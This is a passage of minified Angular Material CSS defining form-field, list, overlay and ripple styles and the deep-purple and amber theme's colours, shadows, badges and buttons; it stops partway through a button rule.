.mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.001px);width:133.3333333333%}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00101px);width:133.3333433333%}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00102px);width:133.3333533333%}.mat-form-field-appearance-legacy .mat-form-field-label{top:1.28125em}.mat-form-field-appearance-legacy .mat-form-field-underline{bottom:1.25em}.mat-form-field-appearance-legacy .mat-form-field-subscript-wrapper{margin-top:.5416666667em;top:calc(100% - 1.6666666667em)}@media print{.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28122em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28121em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.2812em) scale(.75)}}.mat-form-field-appearance-fill .mat-form-field-infix{padding:.25em 0 .75em}.mat-form-field-appearance-fill .mat-form-field-label{top:1.09375em;margin-top:-.5em}.mat-form-field-appearance-fill.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-.59375em) scale(.75);width:133.3333333333%}.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-.59374em) scale(.75);width:133.3333433333%}.mat-form-field-appearance-outline .mat-form-field-infix{padding:1em 0}.mat-form-field-appearance-outline .mat-form-field-label{top:1.84375em;margin-top:-.25em}.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.59375em) scale(.75);width:133.3333333333%}.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.59374em) scale(.75);width:133.3333433333%}.mat-grid-tile-header,.mat-grid-tile-footer{font-size:14px}.mat-grid-tile-header .mat-line,.mat-grid-tile-footer .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-grid-tile-header .mat-line:nth-child(n+2),.mat-grid-tile-footer .mat-line:nth-child(n+2){font-size:12px}input.mat-input-element{margin-top:-.0625em}.mat-menu-item{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:400}.mat-paginator,.mat-paginator-page-size .mat-select-trigger{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px}.mat-radio-button,.mat-select{font-family:Roboto,Helvetica Neue,sans-serif}.mat-select-trigger{height:1.125em}.mat-slide-toggle-content{font-family:Roboto,Helvetica Neue,sans-serif}.mat-slider-thumb-label-text{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px;font-weight:500}.mat-stepper-vertical,.mat-stepper-horizontal{font-family:Roboto,Helvetica Neue,sans-serif}.mat-step-label{font-size:14px;font-weight:400}.mat-step-sub-label-error{font-weight:400}.mat-step-label-error{font-size:14px}.mat-step-label-selected{font-size:14px;font-weight:500}.mat-tab-group{font-family:Roboto,Helvetica Neue,sans-serif}.mat-tab-label,.mat-tab-link{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-toolbar,.mat-toolbar h1,.mat-toolbar h2,.mat-toolbar h3,.mat-toolbar h4,.mat-toolbar h5,.mat-toolbar h6{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0}.mat-tooltip{font-family:Roboto,Helvetica Neue,sans-serif;font-size:10px;padding-top:6px;padding-bottom:6px}.mat-tooltip-handset{font-size:14px;padding-top:8px;padding-bottom:8px}.mat-list-item,.mat-list-option{font-family:Roboto,Helvetica Neue,sans-serif}.mat-list-base .mat-list-item{font-size:16px}.mat-list-base .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base .mat-list-item .mat-line:nth-child(n+2){font-size:14px}.mat-list-base .mat-list-option{font-size:16px}.mat-list-base .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base .mat-list-option .mat-line:nth-child(n+2){font-size:14px}.mat-list-base .mat-subheader{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-list-base[dense] .mat-list-item{font-size:12px}.mat-list-base[dense] .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base[dense] .mat-list-item .mat-line:nth-child(n+2){font-size:12px}.mat-list-base[dense] .mat-list-option{font-size:12px}.mat-list-base[dense] .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base[dense] .mat-list-option .mat-line:nth-child(n+2){font-size:12px}.mat-list-base[dense] .mat-subheader{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px;font-weight:500}.mat-option{font-family:Roboto,Helvetica Neue,sans-serif;font-size:16px}.mat-optgroup-label{font:500 14px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-simple-snackbar{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px}.mat-simple-snackbar-action{line-height:1;font-family:inherit;font-size:inherit;font-weight:500}.mat-tree{font-family:Roboto,Helvetica Neue,sans-serif}.mat-tree-node,.mat-nested-tree-node{font-weight:400;font-size:14px}.mat-ripple{overflow:hidden;position:relative}.mat-ripple:not(:empty){transform:translateZ(0)}.mat-ripple.mat-ripple-unbounded{overflow:visible}.mat-ripple-element{position:absolute;border-radius:50%;pointer-events:none;transition:opacity,transform 0ms cubic-bezier(0,0,.2,1);transform:scale3d(0,0,0)}.cdk-high-contrast-active .mat-ripple-element{display:none}.cdk-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;white-space:nowrap;outline:0;-webkit-appearance:none;-moz-appearance:none;left:0}[dir=rtl] .cdk-visually-hidden{left:auto;right:0}.cdk-overlay-container,.cdk-global-overlay-wrapper{pointer-events:none;top:0;left:0;height:100%;width:100%}.cdk-overlay-container{position:fixed;z-index:1000}.cdk-overlay-container:empty{display:none}.cdk-global-overlay-wrapper{display:flex;position:absolute;z-index:1000}.cdk-overlay-pane{position:absolute;pointer-events:auto;box-sizing:border-box;z-index:1000;display:flex;max-width:100%;max-height:100%}.cdk-overlay-backdrop{position:absolute;inset:0;z-index:1000;pointer-events:auto;-webkit-tap-highlight-color:transparent;transition:opacity .4s cubic-bezier(.25,.8,.25,1);opacity:0}.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:1}.cdk-high-contrast-active .cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:.6}.cdk-overlay-dark-backdrop{background:rgba(0,0,0,.32)}.cdk-overlay-transparent-backdrop{transition:visibility 1ms linear,opacity 1ms linear;visibility:hidden;opacity:1}.cdk-overlay-transparent-backdrop.cdk-overlay-backdrop-showing{opacity:0;visibility:visible}.cdk-overlay-backdrop-noop-animation{transition:none}.cdk-overlay-connected-position-bounding-box{position:absolute;z-index:1000;display:flex;flex-direction:column;min-width:1px;min-height:1px}.cdk-global-scrollblock{position:fixed;width:100%;overflow-y:scroll}textarea.cdk-textarea-autosize{resize:none}textarea.cdk-textarea-autosize-measuring{padding:2px 0!important;box-sizing:content-box!important;height:auto!important;overflow:hidden!important}textarea.cdk-textarea-autosize-measuring-firefox{padding:2px 0!important;box-sizing:content-box!important;height:0!important}@keyframes cdk-text-field-autofill-start{}@keyframes cdk-text-field-autofill-end{}.cdk-text-field-autofill-monitored:-webkit-autofill{animation:cdk-text-field-autofill-start 0s 1ms}.cdk-text-field-autofill-monitored:not(:-webkit-autofill){animation:cdk-text-field-autofill-end 0s 1ms}.mat-focus-indicator{position:relative}.mat-focus-indicator:before{inset:0;position:absolute;box-sizing:border-box;pointer-events:none;display:var(--mat-focus-indicator-display, none);border:var(--mat-focus-indicator-border-width, 3px) var(--mat-focus-indicator-border-style, solid) var(--mat-focus-indicator-border-color, transparent);border-radius:var(--mat-focus-indicator-border-radius, 4px)}.mat-focus-indicator:focus:before{content:""}.cdk-high-contrast-active{--mat-focus-indicator-display: block}.mat-mdc-focus-indicator{position:relative}.mat-mdc-focus-indicator:before{inset:0;position:absolute;box-sizing:border-box;pointer-events:none;display:var(--mat-mdc-focus-indicator-display, none);border:var(--mat-mdc-focus-indicator-border-width, 3px) var(--mat-mdc-focus-indicator-border-style, solid) var(--mat-mdc-focus-indicator-border-color, transparent);border-radius:var(--mat-mdc-focus-indicator-border-radius, 4px)}.mat-mdc-focus-indicator:focus:before{content:""}.cdk-high-contrast-active{--mat-mdc-focus-indicator-display: block}.deeppurple-amber-theme{--theme-primary: #673ab7;--theme-primary-lighter: #764ac6;--theme-primary-light: #8259cb;--theme-primary-darker: #5a33a0;--theme-primary-dark: #512e90;--theme-primary-fade-10: rgba(103, 58, 183, .9);--theme-primary-fade-20: rgba(103, 58, 183, .8);--theme-primary-fade-30: rgba(103, 58, 183, .7);--theme-primary-fade-40: rgba(103, 58, 183, .6);--theme-primary-fade-50: rgba(103, 58, 183, .5);--theme-accent: #ffa000;--theme-accent-lighter: #ffab1f;--theme-accent-light: #ffb333;--theme-accent-darker: #e08d00;--theme-accent-dark: #cc8000;--theme-accent-fade-10: rgba(255, 160, 0, .9);--theme-accent-fade-20: rgba(255, 160, 0, .8);--theme-accent-fade-30: rgba(255, 160, 0, .7);--theme-accent-fade-40: rgba(255, 160, 0, .6);--theme-accent-fade-50: rgba(255, 160, 0, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.deeppurple-amber-theme .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-option{color:#000000de}.deeppurple-amber-theme .mat-option:hover:not(.mat-option-disabled),.deeppurple-amber-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.deeppurple-amber-theme .mat-option.mat-option-disabled{color:#00000061}.deeppurple-amber-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#673ab7}.deeppurple-amber-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ffa000}.deeppurple-amber-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.deeppurple-amber-theme .mat-optgroup-label{color:#0000008a}.deeppurple-amber-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.deeppurple-amber-theme .mat-pseudo-checkbox{color:#0000008a}.deeppurple-amber-theme .mat-pseudo-checkbox:after{color:#fafafa}.deeppurple-amber-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.deeppurple-amber-theme .mat-primary .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#673ab7}.deeppurple-amber-theme .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-pseudo-checkbox-indeterminate,.deeppurple-amber-theme .mat-accent .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#ffa000}.deeppurple-amber-theme .mat-warn .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.deeppurple-amber-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.deeppurple-amber-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.deeppurple-amber-theme .mat-app-background,.deeppurple-amber-theme.mat-app-background{background-color:#fafafa;color:#000000de}.deeppurple-amber-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeppurple-amber-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.deeppurple-amber-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.deeppurple-amber-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeppurple-amber-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.deeppurple-amber-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.deeppurple-amber-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.deeppurple-amber-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.deeppurple-amber-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeppurple-amber-theme .mat-autocomplete-panel{background:white;color:#000000de}.deeppurple-amber-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.deeppurple-amber-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.deeppurple-amber-theme .mat-badge{position:relative}.deeppurple-amber-theme .mat-badge.mat-badge{overflow:visible}.deeppurple-amber-theme .mat-badge-hidden .mat-badge-content{display:none}.deeppurple-amber-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.deeppurple-amber-theme .ng-animate-disabled .mat-badge-content,.deeppurple-amber-theme .mat-badge-content._mat-animation-noopable{transition:none}.deeppurple-amber-theme .mat-badge-content.mat-badge-active{transform:none}.deeppurple-amber-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.deeppurple-amber-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.deeppurple-amber-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.deeppurple-amber-theme .mat-badge-content{color:#fff;background:#673ab7}.cdk-high-contrast-active .deeppurple-amber-theme .mat-badge-content{outline:solid 1px;border-radius:0}.deeppurple-amber-theme .mat-badge-accent .mat-badge-content{background:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.deeppurple-amber-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.deeppurple-amber-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.deeppurple-amber-theme .mat-button,.deeppurple-amber-theme .mat-icon-button,.deeppurple-amber-theme .mat-stroked-button{color:inherit;background:transparent}.deeppurple-amber-theme .mat-button.mat-primary,.deeppurple-amber-theme .mat-icon-button.mat-primary,.deeppurple-amber-theme .mat-stroked-button.mat-primary{color:#673ab7}.deeppurple-amber-theme .mat-button.mat-accent,.deeppurple-amber-theme .mat-icon-button.mat-accent,.deeppurple-amber-theme .mat-stroked-button.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-button.mat-warn,.deeppurple-amber-theme .mat-icon-button.mat-warn,.deeppurple-amber-theme .mat-stroked-button.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.deeppurple-amber-theme .mat-button.mat-primary .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#673ab7}.deeppurple-amber-theme .mat-button.mat-accent .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ffa000}.deeppurple-amber-theme .mat-button.mat-warn .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.deeppurple-amber-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.deeppurple-amber-theme .mat-button .mat-ripple-element,.deeppurple-amber-theme .mat-icon-button .mat-ripple-element,.deeppurple-amber-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.deeppurple-amber-theme .mat-button-focus-overlay{background:black}.deeppurple-amber-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.deeppurple-amber-theme .mat-flat-button,.deeppurple-amber-theme .mat-raised-button,.deeppurple-amber-theme .mat-fab,.deeppurple-amber-theme .mat-mini-fab{color:#000000de;background-color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-primary,.deeppurple-amber-theme .mat-raised-button.mat-primary,.deeppurple-amber-theme .mat-fab.mat-primary,.deeppurple-amber-theme .mat-mini-fab.mat-primary{color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-accent,.deeppurple-amber-theme .mat-raised-button.mat-accent,.deeppurple-amber-theme .mat-fab.mat-accent,.deeppurple-amber-theme .mat-mini-fab.mat-accent{color:#000000de}.deeppurple-amber-theme .mat-flat-button.mat-warn,.deeppurple-amber-theme .mat-raised-button.mat-warn,.deeppurple-amber-theme .mat-fab.mat-warn,.deeppurple-amber-theme .mat-mini-fab.mat-warn{color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.deeppurple-amber-theme .mat-flat-button.mat-primary,.deeppurple-amber-theme .mat-raised-button.mat-primary,.deeppurple-amber-theme .mat-fab.mat-primary,.deeppurple-amber-theme .mat-mini-fab.mat-primary{background-color:#673ab7}.deeppurple-amber-theme .mat-flat-button.mat-accent,.deeppurple-amber-theme .mat-raised-button.mat-accent,.deeppurple-amber-theme .mat-fab.mat-accent,.deeppurple-amber-theme .mat-mini-fab.mat-accent{background-color:#ffa000}.deeppurple-amber-theme .mat-flat-button.mat-warn,.deeppurple-amber-theme .mat-raised-button.mat-warn,.deeppurple-amber-theme .mat-fab.mat-warn,.deeppurple-amber-theme .mat-mini-fab.mat-warn{background-color:#f44336}.deeppurple-amber-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.deeppurple-amber-theme .mat-flat-button.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-flat-button.mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-accent 